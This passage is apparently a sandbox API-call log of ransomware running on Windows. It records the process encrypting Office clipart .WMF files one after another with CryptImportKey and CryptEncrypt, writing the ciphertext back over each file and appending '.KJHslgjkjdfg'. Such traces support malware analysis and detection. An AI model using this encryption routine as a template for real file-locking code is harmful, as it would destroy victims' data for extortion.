lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.363] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.363] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.363] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.363] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.363] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.363] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.363] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b0c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b0c, lpOverlapped=0x0) returned 1 [0212.364] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b10) returned 1 [0212.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.364] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b10, lpOverlapped=0x0) returned 1 [0212.364] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.364] SetEndOfFile (hFile=0x130) returned 1 [0212.367] GetProcessHeap () returned 0x990000 [0212.367] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.367] GetProcessHeap () returned 0x990000 [0212.367] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.kjhslgjkjdfg")) returned 1 [0212.370] CloseHandle (hObject=0x130) returned 1 [0212.370] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00915_.WMF", cAlternateFileName="")) returned 1 [0212.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.370] GetProcessHeap () returned 0x990000 [0212.370] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.371] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.371] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.372] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.372] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.372] GetProcessHeap () returned 0x990000 [0212.372] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.372] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.372] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.372] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.373] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.373] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.373] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.373] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.373] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.373] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.373] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bf8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1bf8, lpOverlapped=0x0) returned 1 [0212.374] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c00, dwBufLen=0x1c00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c00) returned 1 [0212.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.374] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c00, lpOverlapped=0x0) returned 1 [0212.374] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.374] SetEndOfFile (hFile=0x130) returned 1 [0212.376] GetProcessHeap () returned 0x990000 [0212.376] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.376] GetProcessHeap () returned 0x990000 [0212.376] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.376] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.kjhslgjkjdfg")) returned 1 [0212.377] CloseHandle (hObject=0x130) returned 1 [0212.377] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1270, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00916_.WMF", cAlternateFileName="")) returned 1 [0212.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.378] GetProcessHeap () returned 0x990000 [0212.378] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.378] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.378] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.378] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.378] GetProcessHeap () returned 0x990000 [0212.378] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.378] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.378] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.378] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.381] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.381] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.381] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.381] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.381] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.381] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.381] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1270, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1270, lpOverlapped=0x0) returned 1 [0212.382] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270, dwBufLen=0x1270 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1270) returned 1 [0212.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.382] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1270, lpOverlapped=0x0) returned 1 [0212.382] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.382] SetEndOfFile (hFile=0x130) returned 1 [0212.384] GetProcessHeap () returned 0x990000 [0212.385] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.385] GetProcessHeap () returned 0x990000 [0212.385] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.kjhslgjkjdfg")) returned 1 [0212.386] CloseHandle (hObject=0x130) returned 1 [0212.386] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00917_.WMF", cAlternateFileName="")) returned 1 [0212.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.386] GetProcessHeap () returned 0x990000 [0212.386] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.386] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.387] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.388] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.388] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.388] GetProcessHeap () returned 0x990000 [0212.389] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.389] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.389] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.389] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.389] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.389] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.389] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.389] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.389] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.389] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x25ac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x25ac, lpOverlapped=0x0) returned 1 [0212.390] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x25b0, dwBufLen=0x25b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x25b0) returned 1 [0212.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.390] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x25b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x25b0, lpOverlapped=0x0) returned 1 [0212.391] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.391] SetEndOfFile (hFile=0x130) returned 1 [0212.393] GetProcessHeap () returned 0x990000 [0212.394] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.394] GetProcessHeap () returned 0x990000 [0212.394] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.394] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.kjhslgjkjdfg")) returned 1 [0212.395] CloseHandle (hObject=0x130) returned 1 [0212.396] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00918_.WMF", cAlternateFileName="")) returned 1 [0212.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.398] GetProcessHeap () returned 0x990000 [0212.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.398] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.398] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.403] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.403] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.403] GetProcessHeap () returned 0x990000 [0212.403] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.403] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.403] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.403] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.403] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.403] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.403] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.404] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.404] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.404] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.404] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, 